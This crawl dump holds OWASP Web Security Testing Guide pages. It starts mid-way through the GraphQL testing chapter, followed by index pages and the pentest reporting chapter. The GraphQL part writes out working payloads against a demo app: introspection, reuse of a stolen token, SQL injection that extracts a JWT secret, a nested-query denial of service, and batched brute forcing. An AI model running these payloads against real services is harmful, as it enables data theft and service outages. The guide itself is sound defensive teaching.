nodes is not very different than testing other API technologies. Consider the following steps:\n\n### Introspection Queries\n\nIntrospection queries are the method by which GraphQL lets you ask what queries are supported, which data types are available, and many more details you will need when approaching a test of a GraphQL deployment.\n\nThe [GraphQL website describes Introspection](https://graphql.org/learn/introspection/):\n\n> “It’s often useful to ask a GraphQL schema for information about what queries it supports. GraphQL allows us to do so using the introspection system!”\n\nThere are a couple of ways to extract this information and visualize the output, as follows.\n\n#### Using Native GraphQL Introspection\n\nThe most straightforward way is to send an HTTP request (using a personal proxy) with the following payload, taken from an article on [Medium](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696):\n\n```\nquery IntrospectionQuery { __schema { queryType { name } mutationType { name } subscriptionType { name } types { ...FullType } directives { name description locations args { ...InputValue } } } } fragment FullType on __Type { kind name description fields(includeDeprecated: true) { name description args { ...InputValue } type { ...TypeRef } isDeprecated deprecationReason } inputFields { ...InputValue } interfaces { ...TypeRef } enumValues(includeDeprecated: true) { name description isDeprecated deprecationReason } possibleTypes { ...TypeRef } } fragment InputValue on __InputValue { name description type { ...TypeRef } defaultValue } fragment TypeRef on __Type { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name ofType { kind name } } } } } } } } \n```\n\nThe result will usually be very long (and hence has been shortened here), and it will contain the entire schema of the GraphQL deployment.\n\nResponse:\n\n```\n{ \"data\": { \"__schema\": { \"queryType\": { \"name\": \"Query\" }, \"mutationType\": { \"name\": \"Mutation\" }, \"subscriptionType\": { \"name\": \"Subscription\" }, \"types\": [ { \"kind\": \"ENUM\", \"name\": \"__TypeKind\", \"description\": \"An enum describing what kind of type a given __Type is\", \"fields\": null, \"inputFields\": null, \"interfaces\": null, \"enumValues\": [ { \"name\": \"SCALAR\", \"description\": \"Indicates this type is a scalar.\", \"isDeprecated\": false, \"deprecationReason\": null }, { \"name\": \"OBJECT\", \"description\": \"Indicates this type is an object. `fields` and `interfaces` are valid fields.\", \"isDeprecated\": false, \"deprecationReason\": null }, { \"name\": \"INTERFACE\", \"description\": \"Indicates this type is an interface. `fields` and `possibleTypes` are valid fields.\", \"isDeprecated\": false, \"deprecationReason\": null }, { \"name\": \"UNION\", \"description\": \"Indicates this type is a union. `possibleTypes` is a valid field.\", \"isDeprecated\": false, \"deprecationReason\": null }, ], \"possibleTypes\": null } ] } } } \n```\n\nA tool such as [GraphQL Voyager](https://apis.guru/graphql-voyager/) can be used to get a better understanding of the GraphQL endpoint:\n\n*Figure 12.1-1: GraphQL Voyager*\n\nThis tool creates an Entity Relationship Diagram (ERD) representation of the GraphQL schema, allowing you to get a better look into the moving parts of the system you’re testing. Extracting information from the drawing allows you to see you can query the Dog table for example. It also shows which properties a Dog has:\n\n- ID\n- name\n- veterinary (ID)\n\nThere is one downside to using this method: GraphQL Voyager does not display everything that can be done with GraphQL. For example, the mutations available are not listed in the drawing above. A better strategy would be to use both Voyager and one of the methods listed below.\n\n#### Using GraphiQL\n\n[GraphiQL](https://github.com/graphql/graphiql) is a web-based IDE for GraphQL. It is part of the GraphQL project, and it is mainly used for debugging or development purposes. The best practice is to not allow users to access it on production deployments. If you are testing a staging environment, you might have access to it and can thus save some time when working with introspection queries (although you can, of course, use introspection in the GraphiQL interface).\n\nGraphiQL has a documentation section, which uses the data from the schema in order to create a document of the GraphQL instance that is being used. This document contains the data types, mutations, and basically every piece of information that can be extracted using introspection.\n\n#### Using GraphQL Playground\n\n[GraphQL Playground](https://github.com/graphql/graphql-playground) is a GraphQL client. It can be used to test different queries, as well as divide GraphQL IDEs into different playgrounds, and group them by theme or by assigning a name to them. Much like GraphiQL, Playground can create documentation for you without the need for manually sending introspection queries and processing the response(s). It has another great advantage: It doesn’t need the GraphiQL interface to be available. You can direct the tool to the GraphQL node via a URL, or use it locally with a data file. GraphQL Playground can be used to test for vulnerabilities directly, so you don’t need to use a personal proxy to send HTTP requests. This means you can use this tool for simple interaction with and assessment of GraphQL. For other more advanced payloads, use a personal proxy.\n\nNote that in some cases, you will need to set the HTTP headers at the bottom, to include session ID or other mechanism of authentication. This still allows creating multiple “IDEs” with different permissions to verify if there are in fact authorization issues.\n\n*Figure 12.1-2: GraphQL Playground High Level API Docs*\n\n*Figure 12.1-3: GraphQL Playground API Schema*\n\nYou can even download the schemas to use in Voyager.\n\n#### Introspection Conclusion\n\nIntrospection is a useful tool that allows users to gain more information about the GraphQL deployment. However, this will also allow malicious users to gain access to the same information. The best practice is to limit access to the introspection queries, since some tools or requests might fail if this feature is disabled altogether. As GraphQL usually bridges to the back end APIs of the system, it’s better to enforce strict access control.\n\n### Authorization\n\nIntrospection is the first place to look for authorization problems. As noted, access to introspection should be restricted as it allows for data extraction and data gathering. Once a tester has access to the schema and knowledge of the sensitive information there is to extract, they should then send queries that will not be blocked due to insufficient privileges. GraphQL does not enforce permissions by default, and so it is up to the application to perform authorization enforcement.\n\nIn the earlier examples, the output of the introspection query shows there is a query called `auth`. This seems like a good place to extract sensitive information such as API tokens, passwords, etc.\n\n*Figure 12.1-4: GraphQL Auth Query API*\n\nTesting the authorization implementation varies from deployment to deployment since each schema will have different sensitive information, and hence, different targets to focus on.\n\nIn this vulnerable example, every user (even unauthenticated) can gain access to the auth tokens of every veterinarian listed in the database. These tokens can be used to perform additional actions the schema allows, such as associating or disassociating a dog from any specified veterinarian using mutations, even if there is no matching auth token for the veterinarian in the request.\n\nHere is an example in which the tester uses an extracted token they do not own to perform an action as the veterinarian “Benoit”:\n\n```\nquery brokenAccessControl { myInfo(accessToken:\"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJhdWQiOiJwb2MiLCJzdWIiOiJKdWxpZW4iLCJpc3MiOiJBdXRoU3lzdGVtIiwiZXhwIjoxNjAzMjkxMDE2fQ.r3r0hRX_t7YLiZ2c2NronQ0eJp8fSs-sOUpLyK844ew\", veterinaryId: 2){ id, name, dogs { name } } } \n```\n\nAnd the response:\n\n```\n{ \"data\": { \"myInfo\": { \"id\": 2, \"name\": \"Benoit\", \"dogs\": [ { \"name\": \"Babou\" }, { \"name\": \"Baboune\" }, { \"name\": \"Babylon\" }, { \"name\": \"...\" } ] } } } \n```\n\nAll of the Dogs in the list belong to Benoit, and not to the auth token owner. It’s possible to perform this type of action when proper authorization enforcement is not implemented.\n\n### Injection\n\nGraphQL is the implementation of the API layer of an application, and as such, it usually forwards the requests to a back end API or the database directly. This allows you to utilize any underlying vulnerability such as SQL injection, command injection, cross-site scripting, etc. Using GraphQL just changes the entry point of the malicious payload.\n\nYou can refer to other scenarios within the OWASP testing guide to get some ideas.\n\nGraphQL also has scalars, which are usually used for custom data types that do not have native data types, such as DateTime. These types of data do not have out-of-the-box validation, making them good candidates for testing.\n\n#### SQL Injection\n\nThe example application is vulnerable by design in the query `dogs(namePrefix: String, limit: Int = 500): [Dog!]` since the parameter `namePrefix` is concatenated in the SQL query. Concatenating user input is a common malpractice of applications that can expose them to SQL injection.\n\nThe following query extracts information from the `CONFIG` table within the database:\n\n```\nquery sqli { dogs(namePrefix: \"ab%' UNION ALL SELECT 50 AS ID, C.CFGVALUE AS NAME, NULL AS VETERINARY_ID FROM CONFIG C LIMIT ? -- \", limit: 1000) { id name } } \n```\n\nThe response to this query is:\n\n```\n{ \"data\": { \"dogs\": [ { \"id\": 1, \"name\": \"Abi\" }, { \"id\": 2, \"name\": \"Abime\" }, { \"id\": 3, \"name\": \"...\" }, { \"id\": 50, \"name\": \"$Nf!S?(.}DtV2~:Txw6:?;D!M+Z34^\" } ] } } \n```\n\nThe query contains the secret that signs JWTs in the example application, which is very sensitive information.\n\nIn order to know what to look for in any particular application, it will be helpful to collect information about how the application is built and how the database tables are organized. You can also use tools like `sqlmap` to look for injection paths and even automate the extraction of data from the database.\n\n#### Cross-Site Scripting (XSS)\n\nCross-site scripting occurs when an attacker injects executable code that is subsequently run by the browser. Learn about tests for XSS in the [Input Validation](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README) chapter. You may test for reflected XSS using a payload from [Testing for Reflected Cross Site Scripting](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting).\n\nIn this example, errors might reflect the input and could cause XSS to occur.\n\nPayload:\n\n```\nquery xss { myInfo(veterinaryId:\"\" ,accessToken:\"\") { id name } } \n```\n\nResponse:\n\n```\n{ \"data\": null, \"errors\": [ { \"message\": \"Validation error of type WrongType: argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int' @ 'myInfo'\", \"locations\": [ { \"line\": 2, \"column\": 10, \"sourceName\": null } ], \"description\": \"argument 'veterinaryId' with value 'StringValue{value=''}' is not a valid 'Int'\", \"validationErrorType\": \"WrongType\", \"queryPath\": [ \"myInfo\" ], \"errorType\": \"ValidationError\", \"extensions\": null, \"path\": null } ] } \n```\n\n### Denial of Service (DoS) Queries\n\nGraphQL exposes a very simple interface to allow developers to use nested queries and nested objects. This ability can also be used in a malicious way, by calling a deep nested query similar to a recursive function and causing a denial of service by using up CPU, memory, or other compute resources.\n\nLooking back at *Figure 12.1-1*, you can see that it is possible to create a loop where a Dog object contains a Veterinary object. There could be an endless amount of nested objects.\n\nThis allows for a deep query which has the potential to overload the application:\n\n```\nquery dos { allDogs(onlyFree: false, limit: 1000000) { id name veterinary { id name dogs { id name veterinary { id name dogs { id name veterinary { id name dogs { id name veterinary { id name dogs { id name veterinary { id name dogs { id name } } } } } } } } } } } } \n```\n\nThere are multiple security measures that can be implemented to prevent these types of queries, listed in the Remediation section. Abusive queries can cause issues like DoS for GraphQL deployments and should be included in testing.\n\n### Batching Attacks\n\nGraphQL supports batching of multiple queries into a single request. This allows users to request multiple objects or multiple instances of objects efficiently. However, an attacker can utilize this functionality in order to perform a batching attack. Sending more than a single query in one request looks like the following:\n\n```\n[ { query: < query 0 >, variables: < variables for query 0 >, }, { query: < query 1 >, variables: < variables for query 1 >, }, { query: < query n > variables: < variables for query n >, } ] \n```\n\nIn the example application, a single request can be sent in order to extract all of the veterinary names using the guessable ID (it’s an increasing integer). An attacker can then utilize the names in order to get access tokens. Instead of doing so in many requests, which might be blocked by a network security measure like a web application firewall or a rate limiter like Nginx, these requests may be batched. This means there would only be a couple of requests, which may allow for efficient brute forcing without being detected. Here is an example query:\n\n```\nquery { Veterinary(id: \"1\") { name } second:Veterinary(id: \"2\") { name } third:Veterinary(id: \"3\") { name } } \n```\n\nThis will provide the attacker with the names of the veterinaries and, as shown before, the names can be used to batch multiple queries requesting the auth tokens of those veterinaries. For example:\n\n```\nquery { auth(veterinaryName: \"Julien\") second: auth(veterinaryName:\"Benoit\") } \n```\n\nBatching attacks can be used to bypass many security measures enforced on websites. It can also be used to enumerate objects and attempt to brute force multi-factor authentication or other sensitive information.\n\n### Detailed Error Message\n\nGraphQL can encounter unexpected errors during runtime. When such an error occurs, the server may send an error response that may reveal internal error details or application configurations or data. This allows a malicious user to acquire more information about the application. As part of testing, error messages should be checked by sending unexpected data, a process known as fuzzing. The responses should be searched for potentially sensitive information that may be revealed using this technique.\n\n### Exposure of Underlying API\n\nGraphQL is a relatively new technology, and some applications are transitioning from old APIs to GraphQL. In many cases, GraphQL is deployed as a standard API which translates requests (sent using GraphQL syntax) to an underlying API, as well as the responses. If requests to the underlying API are not properly checked for authorization, it could lead to a possible escalation of privileges.\n\nFor example, a request containing the parameter `id=1/delete` might be interpreted as `/api/users/1/delete`. This could extend to the manipulation of other resources belonging to `user=1`. It is also possible that the request is interpreted to have the authorization given to the GraphQL node, instead of the true requester.\n\nA tester should try and gain access to underlying API methods as it may be possible to escalate privileges.\n\n## Remediation\n\n- Restrict access to introspection queries.\n- Implement input validation.\n - GraphQL does not have a native way to validate input, however, there is an open source project called [“graphql-constraint-directive”](https://github.com/confuser/graphql-constraint-directive) which allows for input validation as part of the schema definition.\n - Input validation alone is helpful, but it is not a complete solution and additional measures should be taken to mitigate injection attacks.\n- Implement security measures to prevent abusive queries.\n - Timeouts: restrict the amount of time that a query is permitted to run.\n - Maximum query depth: limit the depth of allowed queries, which may prevent queries that are too deep from abusing resources.\n - Set maximum query complexity: limit the complexity of queries to mitigate the abuse of GraphQL resources.\n - Use server-time-based throttling: limit the amount of server time a user can consume.\n - Use query-complexity-based throttling: limit the total complexity of queries a user can consume.\n- Send generic error messages: use generic error messages that do not reveal details of the deployment.\n- Mitigate batching attacks:\n - Add object request rate limiting in code.\n - Prevent batching for sensitive objects.\n - Limit the number of queries that can run at one time.\n\nFor more on remediating GraphQL weaknesses, refer to the [GraphQL Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html).\n\n## Tools\n\n- [GraphQL Playground](https://github.com/prisma-labs/graphql-playground)\n- [GraphQL Voyager](https://apis.guru/graphql-voyager/)\n- [sqlmap](https://github.com/sqlmapproject/sqlmap)\n- [InQL (Burp Extension)](https://portswigger.net/bappstore/296e9a0730384be4b2fffef7b4e19b1f)\n- [GraphQL Raider (Burp Extension)](https://portswigger.net/bappstore/4841f0d78a554ca381c65b26d48207e6)\n- [GraphQL (Add-on for OWASP ZAP)](https://www.zaproxy.org/blog/2020-08-28-introducing-the-graphql-add-on-for-zap/)\n\n## References\n\n- [poc-graphql](https://github.com/righettod/poc-graphql)\n- [GraphQL Official Site](https://graphql.org/learn/)\n- [Howtographql - Security](https://www.howtographql.com/advanced/4-security/)\n- [GraphQL Constraint Directive](https://github.com/confuser/graphql-constraint-directive)\n- [Client-side Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/README) (XSS and other vulnerabilities)\n- [5 Common GraphQL Security Vulnerabilities](https://carvesystems.com/news/the-5-most-common-graphql-security-vulnerabilities/)\n- [GraphQL common vulnerabilities and how to exploit them](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)\n- [GraphQL CS](https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 19510, "slov": 2873, "odkazu": 197, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:48", "sha256": "d9e881b1872c5b12a3134b710eb833f2acc039f760660f4e892b03632852060a", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/righettod/poc-graphql", "https://graphql.org/learn/introspection/", "https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696", "https://apis.guru/graphql-voyager/", "https://github.com/graphql/graphiql", "https://github.com/graphql/graphql-playground", "https://github.com/confuser/graphql-constraint-directive", "https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html", "https://github.com/prisma-labs/graphql-playground", "https://github.com/sqlmapproject/sqlmap", "https://portswigger.net/bappstore/296e9a0730384be4b2fffef7b4e19b1f", "https://portswigger.net/bappstore/4841f0d78a554ca381c65b26d48207e6", "https://www.zaproxy.org/blog/2020-08-28-introducing-the-graphql-add-on-for-zap/", "https://graphql.org/learn/", "https://www.howtographql.com/advanced/4-security/", "https://carvesystems.com/news/the-5-most-common-graphql-security-vulnerabilities/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "12-API Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.12 API Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.12 API Testing\n\n4.12.1 [Testing GraphQL](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 258, "slov": 18, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:46", "sha256": "c71d61d74b70381441f3755a01cab93ec8f57a6b739021ed7a898cf408719abc", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Web Application Security Testing"}], "markdown": "# WSTG - v4.2\n\n# Web Application Security Testing\n\n4.0 [Introduction and Objectives](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README)\n\n4.1 [Information Gathering](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README)\n\n4.2 [Configuration and Deployment Management Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n\n4.3 [Identity Management Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README)\n\n4.4 [Authentication Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n\n4.5 [Authorization Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n\n4.6 [Session Management Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/README)\n\n4.7 [Input Validation Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README)\n\n4.8 [Testing for Error Handling](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)\n\n4.9 [Testing for Weak Cryptography](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n\n4.10 [Business Logic Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/README)\n\n4.11 [Client-side Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/README)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1935, "slov": 142, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:49", "sha256": "99e7c96cae853074cd87d4223dfec1d04147d7ea924d07948878b71492f28253", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/5-Reporting/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/5-Reporting/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/5-Reporting/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "5-Reporting"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Reporting"}, {"uroven": 2, "text": "About this Section"}, {"uroven": 2, "text": "1. Introduction"}, {"uroven": 3, "text": "1.1 Version Control"}, {"uroven": 3, "text": "1.2 Table of Contents"}, {"uroven": 3, "text": "1.3 The Team"}, {"uroven": 3, "text": "1.4 Scope"}, {"uroven": 3, "text": "1.5 Limitations"}, {"uroven": 3, "text": "1.6 Timeline"}, {"uroven": 3, "text": "1.7 Disclaimer"}, {"uroven": 2, "text": "2. Executive Summary"}, {"uroven": 2, "text": "3. Findings"}, {"uroven": 3, "text": "3.1 Findings Summary"}, {"uroven": 3, "text": "3.2 Findings Details"}, {"uroven": 2, "text": "Appendices"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Reporting\n\nPerforming the technical side of the assessment is only half of the overall assessment process. The final product is the production of a well written and informative report. A report should be easy to understand and should highlight all the risks found during the assessment phase. The report should appeal to both executive management and technical staff.\n\n## About this Section\n\nThis guide provides only suggestions about one possible approach to reporting, and should not be treated as as strict rules that must be followed. When considering any of the recommendations below, always ask yourself whether the recommendation would improve your report.\n\nThis guide to reporting is a best fit for consultancy-based reports. It may be overkill for internal or bug bounty reports.\n\nRegardless of the audience, it’s advisable to secure the report and encrypt it to ensure that only the receiving party is able to use it.\n\nA good report helps your client understand your findings and highlights the quality of your technical testing. The quality of the technical testing is completely irrelevant if the client can’t understand your findings.\n\n## 1. Introduction\n\n### 1.1 Version Control\n\nSets report changes, mostly presented in a table format such as the below.\n\n| Version | Description | Date | Author |\n| --- | --- | --- | --- |\n| 1.0 | Initial report | DD/MM/YYYY | J. Doe |\n\n### 1.2 Table of Contents\n\nA table of contents page for the document.\n\n### 1.3 The Team\n\nA list of the team members detailing their expertise and qualifications.\n\n### 1.4 Scope\n\nThe boundaries and the needs of the engagement agreed upon with the organization.\n\n### 1.5 Limitations\n\nLimitations can be:\n\n- Out-of-bounds areas in relation to testing.\n- Broken functionality.\n- Lack of cooperation.\n- Lack of time.\n- Lack of access or credentials.\n\n### 1.6 Timeline\n\nThe duration of the engagement.\n\n### 1.7 Disclaimer\n\nYou may wish to provide a disclaimer for your service. Always consult a legal professional in order to create a legally-binding document.\n\nThe following example is for illustrative purposes only. It should not be used as-is and does not constitute legal advice.\n\n*This test is a “point in time” assessment and as such the environment could have changed since the test was run. There is no guarantee that all possible security issues have been identified, and that new vulnerabilities may have been discovered since the tests were run. As such, this report serves as a guiding document and not a warranty that the report provides a full representation of the risks threatening the systems at hand.*\n\n## 2. Executive Summary\n\nThis is like the elevator pitch of the report, it aims at providing executives with:\n\n- The objective of the test.\n - Describe the business need behind the security test.\n - Describe how the tests helped the organization understand their systems.\n- Key findings in a business context, such as possible compliance issues, reputation damage, etc. Focus on the business impact and leave out technical details for now.\n- The strategic recommendations on how the business can stop the issues from happening again. Describe these in a non-technical context and leave specific technical recommendations out for now.\n\nThe summary should be constructive and meaningful. Avoid jargon and negative speculation. If figures, graphs, or illustrations are used, ensure they help deliver a message in a clearer way than text would.\n\n## 3. Findings\n\nThis section is aimed at the technical team. It should include all the necessary information to understand the vulnerability, replicate it, and resolve it. Logical separation can help improve the readability of the report. For example, you might have separate sections titled “External Access” and “Internal Access”.\n\nIf this is a re-test, you might create a subsection that summarizes findings of the previous test, the updated status of previously identified vulnerabilities, and any cross-references with the current test.\n\n### 3.1 Findings Summary\n\nA list of the findings with their risk level. A table can be used for ease of use by both teams.\n\n| Ref. ID | Title | Risk Level |\n| --- | --- | --- |\n| 1 | User Authentication Bypass | High |\n\n### 3.2 Findings Details\n\nEach finding should be detailed with the following information:\n\n- Reference ID, which can be used for communication between parties and for cross-references across the report.\n- The vulnerability title, such as “User Authentication Bypass”.\n- The likelihood or exploitability of the issue, based on various factors such as:\n - How easy it is to exploit.\n - Whether there is working exploit code for it.\n - The level of access required.\n - Attacker motivation to exploit it.\n- The impact of the vulnerability on the system.\n- Risk of the vulnerability on the application.\n - Some suggested values are: Informational, Low, Medium, High, and Critical. Ensure that you detail the values you decide to use in an appendix. This allows the reader to understand how each score is determined.\n - On certain engagements it is required to have a [CVSS](https://www.first.org/cvss/) score. If not required, sometimes it is good to have, and other times it just adds complexity to the report.\n- Detailed description of what the vulnerability is, how to exploit it, and the damage that may result from its exploitation. Any possibly-sensitive data should be masked, for example, passwords, personal information, or credit card details.\n- Detailed steps on how to remediate the vulnerability, possible improvements that could help strengthen the security posture, and missing security practices.\n- Additional resources that could help the reader to understand the vulnerability, such as an image, a video, a CVE, an external guide, etc.\n\nFormat this section in a way that best delivers your message.\n\nAlways ensure that your descriptions provide enough information for the engineer reading this report to take action based on it. Explain the finding thoroughly and provide as much technical detail as might be necessary to remedy it.\n\n## Appendices\n\nMultiple appendices can be added, such as:\n\n- Test methodology used.\n- Severity and risk rating explanations.\n- Relevant output from tools used.\n - Make sure to clean the output and not just dump it.\n- A checklist of all the tests conducted, such as the [WSTG checklist](https://github.com/OWASP/wstg/tree/master/checklist) . These can be provided as attachments to the report.\n\n## References\n\nThis section is not part of the suggested report format. The below links provide more guidance to writing your reports.\n\n- [SANS: Tips for Creating a Strong Cybersecurity Assessment Report](https://www.sans.org/blog/tips-for-creating-a-strong-cybersecurity-assessment-report/)\n- [SANS: Writing a Penetration Testing Report](https://www.sans.org/reading-room/whitepapers/bestprac/paper/33343)\n- [Infosec Institute: The Art of Writing Penetration Test Reports](https://resources.infosecinstitute.com/topic/writing-penetration-testing-reports/)\n- [Dummies: How to Structure a Pen Test Report](https://www.dummies.com/computers/macs/security/how-to-structure-a-pen-test-report/)\n- [Rhino Security Labs: Four Things Every Penetration Test Report Should Have](https://rhinosecuritylabs.com/penetration-testing/four-things-every-penetration-test-report/)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 7215, "slov": 1074, "odkazu": 185, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:10:49", "sha256": "b5c1132b5ccb1ad6ace997d481cda6b4617a3ee792756f7ce4358482f982e91d", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.first.org/cvss/", "https://github.com/OWASP/wstg/tree/master/checklist", "https://www.sans.org/blog/tips-for-creating-a-strong-cybersecurity-assessment-report/", "https://www.sans.org/reading-room/whitepapers/bestprac/paper/33343", "https://resources.infosecinstitute.com/topic/writing-penetration-testing-reports/", "https://www.dummies.com/computers/macs/security/how-to-structure-a-pen-test-report/", "https://rhinosecuritylabs.com/penetration-testing/four-things-every-penetration-test-report/", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/5-Reporting/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": 